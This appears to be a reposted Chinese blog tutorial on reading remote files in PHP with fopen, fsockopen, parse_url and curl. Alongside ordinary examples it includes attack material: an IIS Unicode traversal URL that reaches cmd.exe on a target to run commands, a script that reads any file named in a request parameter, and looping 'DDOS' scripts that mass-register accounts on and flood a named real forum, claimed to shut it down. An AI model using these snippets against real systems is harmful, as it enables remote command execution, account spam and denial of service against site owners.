zoukankan      html  css  js  c++  java
  • PHP获取远程文件内容

    一、 介绍

    只要在 php.ini 文件中激活了 allow_url_fopen 选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。同时,您也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见 附录 J。

    注: 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用 --enable-url-fopen-wrapper 参数来配置 PHP。 Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问:include(),include_once(),require(),require_once() 以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX 函数。
    例如,您可以用以下范例来打开远程 WEB 服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。

    例子 x. fopen() 例子
     
    Php代码  收藏代码
    1. <?php  
    2. $handle = fopen ("/home/rasmus/file.txt""r");  
    3. $handle = fopen ("/home/rasmus/file.gif""wb");  
    4. $handle = fopen ("http://www.example.com/""r");  
    5. $handle = fopen ("ftp://user:password@example.com/somefile.txt""w");  
    6. ?>  
     
     
    例子 X. 获取远程文件的标题
     
    Php代码  收藏代码
    1. <?php  
    2. $file = fopen ("http://www.example.com/""r");  
    3. if (!$file) {  
    4. echo "<p>Unable to open remote file.\n";  
    5. exit;  
    6. }  
    7. while (!feof ($file)) {  
    8. $line = fgets ($file, 1024);  
    9. /* This only works if the title and its tags are on one line */  
    10. if (eregi ("<title>(.*)</title>"$line$out)) {  
    11. $title = $out[1];  
    12. break;  
    13. }  
    14. }  
    15. fclose($file);  
    16. ?>  
     
    如果您用有合法的访问权限,以一个用户的身份和某 FTP 服务器建立了链接,您还可以向该 FTP 服务器端的文件进行写操作。您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen() 函数的调用将会失败。

    要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp://user:password@ftp.example.com/path/to/file”。(如果通过 HTTP 协议访问远程文件时需要基本身份认证,您也可以用使用的语法。)

    例子 X. 远程服务端的数据存储
     
    Php代码  收藏代码
    1. <?php  
    2. $file = fopen ("ftp://ftp.example.com/incoming/outputfile""w");  
    3. if (!$file) {  
    4. echo "<p>Unable to open remote file for writing.\n";  
    5. exit;  
    6. }  
    7. /* Write the data here. */  
    8. fputs ($file$_SERVER['HTTP_USER_AGENT'] . "\n");  
    9. fclose ($file);  
    10. ?>  
     
    注: 您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。但是正如以上提到的,在用 fopen() 方式打开的 URL 中,您仅能对新文件进行写操作。如果远程文件已经存在 fopen() 函数的操作将会失败。要进行类似的分布式日志操作,您可以参考 syslog() 函数。

    在下面的内容里,我将以更多的实例描述这种功能的应用。
     
    二、PHP中的POST&GET的应用

    要使用PHP的POST&GET,可以运用fsockopen函数:

    例子 1. fsockopen() Example
     
    Php代码  收藏代码
    1. <?php  
    2. $fp = fsockopen("www.example.com", 80, $errno$errstr, 30);  
    3. if (!$fp) {  
    4.   echo "$errstr ($errno)<br />\n";  
    5. else {  
    6.   $out = "GET / HTTP/1.1\r\n";  
    7.   $out .= "Host: example.com\r\n";  
    8.   $out .= "Connection: Close\r\n\r\n";  
    9.   fputs($fp$out);  
    10.   while (!feof($fp)) {  
    11.     echo fgets($fp, 128);  
    12.   }  
    13.   fclose($fp);  
    14. }  
    15. ?>   
     
     
    例子 2. Using UDP connection
     
    Php代码  收藏代码
    1. <?php  
    2. $fp = fsockopen("udp://127.0.0.1", 13, $errno$errstr);  
    3. if (!$fp) {  
    4.   echo "ERROR: $errno - $errstr<br />\n";  
    5. else {  
    6.   fwrite($fp"\n");  
    7.   echo fread($fp, 26);  
    8.   fclose($fp);  
    9. }  
    10. ?>   
     
    例子 3
     
    Php代码  收藏代码
    1. <?php  
    2. //定义一些连接参数  
    3. $urls = array(  
    4. 'host'=>'localhost',  
    5. 'port'=>80,  
    6. 'path'=>'/index.php',  
    7. 'method'=>'POST',  
    8. 'protocol'=>'1.0',  
    9. );  
    10. //POST方法传递的参数  
    11. $ps = array(  
    12. 'language'=>'php',  
    13. 'linux'=>'redhat',  
    14. );  
    15. //GET方法传递的参数  
    16. $gs = array(  
    17. 'php'=>5,  
    18. 'redhat'=>9  
    19. );  
    20. /** 
    21. 返回:得到POST或GET方法后返回的字符串(string) 
    22. 参数: 
    23.   $usls : string 
    24.   $ps : array 
    25.   $gs : array 
    26. 调用方法: 
    27.   getData($urls,$ps,'') //使用POST方法 
    28.   getData($urls,'',$gs) //使用GET方法 
    29. 参考资料:http://cn.php.net/manual/en/function.fsockopen.php 
    30. */  
    31. function getData($urls,$ps='',$gs=''){  
    32.   $host = $urls['host'];  
    33.   $port = $urls['port'];  
    34.   $path = $urls['path'];  
    35.   $method = $urls['method'];  
    36.   $protocol = $urls['protocol'];  
    37.   $posts = '';  
    38.   $gets = '';  
    39.   if(is_array($ps)){  
    40.     foreach($ps as $k => $v){  
    41.       $posts .= urlencode($k)."=".urlencode($v).'&';  
    42.     }  
    43.     $posts = substr($posts,0,-1);  
    44.     $len = strlen($posts);  
    45.   }  
    46.   if(is_array($gs)){  
    47.     foreach($gs as $k => $v){  
    48.       $gets .= urlencode($k)."=".urlencode($v).'&';  
    49.     }  
    50.     $gets = substr($gets,0,-1);  
    51.   }  
    52.   $fp = fsockopen($host$port,$errno,$errstr,3);  
    53.   if(!$fp){  
    54.     echo "can't connect...\r\n<br>Error:$errstr";  
    55.     return ;  
    56.   }  
    57.   fputs($fp"$method $path?$gets HTTP/$protocol\r\n");  
    58.   fputs($fp"Host: localhost\r\n");  
    59.   if($posts != ''){  
    60.     fputs($fp"Content-type: application/x-www-form-urlencoded\r\n");  
    61.     fputs($fp"Content-Length: $len\r\n");  
    62.     fputs($fp"\r\n");  
    63.     fputs($fp$posts);  
    64.   }  
    65.   fputs($fp"Connection: Close\r\n\r\n");  
    66.   $s = '';  
    67.   do{  
    68.    $data = fgets($fp,1024);  
    69.    if($data == '') {  
    70.      break;  
    71.    }  
    72.    $s .= $data;  
    73.   } while(true);  
    74.   fclose($fp);  
    75.   return $s;  
    76. }  
    77. //这里是使用POST方法取得目标网页返回的字符串  
    78. echo getData($urls,$ps,'');  
    79. //如果要使用GET方法就用如下方式:  
    80. echo getData($urls,'',$gs);  
    81. ?>  
     
    三、UNICODE漏洞攻击

    代码:
     
    Php代码  收藏代码
    1. <?php  
    2. $fp=@fopen($url,"r"or die ("cannot open $url");  
    3. while($line=@fgets($fp,1024)) {  
    4. $contents.=$line;  
    5. }  
    6. echo $contents//显示文件内容  
    7. fclose($fp); //关闭文件  
    8. ?>  
     
    使用:
    /XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
     
    四、WEB间文件转移:

    该例子的代码引自PHP FLAME:
     
    Php代码  收藏代码
    1. <?php  
    2. $fp = fopen($_GET['filename'], 'rb');  
    3. $data = $tmp = '';  
    4. while ( true ) {  
    5. $tmp = fgets($fp, 1024);  
    6. if ( 0 === strlen($tmp) ) {  
    7. break;  
    8. }  
    9. $data .= $tmp;  
    10. }  
    11. fclose($fp);  
    12. $file=preg_replace("/^.+\//","",$filename);  
    13. //write  
    14. $fp = fopen("$file"'wb');  
    15. fwrite($fp$data);  
    16. fclose($fp);  
    17. ?>  
     

    代码引自PHP FLAME:
     
    Php代码  收藏代码
    1. <?  
    2. $url = getenv("QUERY_STRING");  
    3. if(!ereg("^http",$url))  
    4. {  
    5. echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>";  
    6. exit;  
    7. }  
    8. if($url)  
    9. $url=str_replace("\\","/",$url);  
    10. $f=@fopen($url,"r");  
    11. $a="";  
    12. if($f)  
    13. {  
    14. while(!feof($f))  
    15. $a.=@fread($f,8000);  
    16. fclose($f);  
    17. }  
    18. $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url);  
    19. $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);  
    20. $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a);  
    21. $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);  
    22. $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a);  
    23. $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);  
    24. $a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);  
    25. $a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);  
    26. $a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a);  
    27. echo $a;  
    28. ?>  
     
    六:不可阻挡DDOS攻击

    DDOS的一个例子
     
    Php代码  收藏代码
    1. <?php  
    2. $url="http://bbs.icehack.com/register.php?step=2&addpassword=aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername=";  
    3. for($i=1131;$i<=1150;$i++)  
    4. {  
    5. $urls=$url.$i;  
    6. $f=@fopen($urls,"r");  
    7. $a=@fread($f,10);  
    8. fclose($f);  
    9. }  
    10. ?>  
     
    运行后论坛将新增20个用户
    (例子:http://bbs.icehack.com/userlist.php?page=827) 
    当把它用在论坛的搜索中时
    DDOS攻击就实现了
    以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
     
    Php代码  收藏代码
    1. <?php  
    2. $url="http://bbs.icehack.com/index.php?addusername=";  
    3. for($i=1131;$i<=1180;$i++)  
    4. {  
    5. $urls=$url.$i;  
    6. $f=@fopen($urls,"r");  
    7. $a=@fread($f,10);  
    8. fclose($f);  
    9. }  
    10. ?>  
     
    完整URL地址: 
    http://username:password@hostname/path?arg=value#auchor 

    协议:http:// 
    用户名和密码: username:password  以:将两者分隔 
    主机名:hostname @和/为分隔符 
    路径: /path 以/开头、包含/符号 
    参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔 
    锚:auchor  以#开头  

    用parse_url()获取相关信息
     
    Php代码  收藏代码
    1. $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";  
    2. $parts = parse_url($url);   
    3.   
    4. //  
    5. Array   
    6.   
    7. (   
    8.   
    9. [scheme] => http   
    10.   
    11. [host] => www.electrictoolbox.com   
    12.   
    13. [path] => /php-extract-domain-from-full-url/   
    14.   
    15. )   
     
    Php代码  收藏代码
    1. <?php  
    2. $url = 'http://username:password@hostname/path?arg=value#anchor';  
    3. print_r(parse_url($url));  
    4. echo parse_url($url, PHP_URL_PATH);  
    5.   
    6. //  
    7.   
    8. Array  
    9. (  
    10. [scheme] => http  
    11. [host] => hostname  
    12. [user] => username  
    13. [pass] => password  
    14. [path] => /path  
    15. [query] => arg=value  
    16. [fragment] => anchor  
    17. )   
     
    可以看到,可以很容易分解出一个URL的各个部,那如果要拿指定的部分出来的话也很容易,如 
    echo parse_url($url, PHP_URL_PATH); 
    就是在第二个参数中,设定如下的参数: 
    PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.
     
     
    七、最后还有一个 
     
    Php代码  收藏代码
    1. if ( !function_exists( 'fopen_url' ) )   
    2. {  
    3.     function fopen_url($url)   
    4.     {   
    5.         $file_content = '';  
    6.           
    7.         if (function_exists('file_get_contents')) $file_content = @file_get_contents($url);   
    8.         elseif (ini_get('allow_url_fopen') && ($file = @fopen($url'rb')))  
    9.         {   
    10.             $i = 0;   
    11.             while (!feof($file) && $i++ < 1000) $file_content .= strtolower(fread($file, 4096));   
    12.             fclose($file);   
    13.         }   
    14.         elseif (function_exists('curl_init'))   
    15.         {   
    16.             $curl_handle = curl_init();   
    17.             curl_setopt($curl_handle, CURLOPT_URL, $url);   
    18.             curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT,5);   
    19.             curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER,1);   
    20.             curl_setopt($curl_handle, CURLOPT_FAILONERROR,1);   
    21.             curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Trackback Spam Check');   
    22.             $file_content = curl_exec($curl_handle);   
    23.             curl_close($curl_handle);   
    24.         }   
    25.           
    26.         return $file_content;   
    27.     }  
    28. }  
     
  • 相关阅读:
    虚拟化资料
    Windows线程+进程通信
    Linux进程+进程间通信IPC
    COM/DOM/COM+
    C# 2.0新特性与C# 3.5新特性[转]
    [CruiseControl]配置文件config.xml
    C#的Delegate和Event
    [BuildRelease Management]Visual Build
    软件培训机构
    可以自动输入密码的Runas
  • 原文地址:https://www.cnblogs.com/hasayaki/p/2993592.html
Copyright © 2011-2022 走看看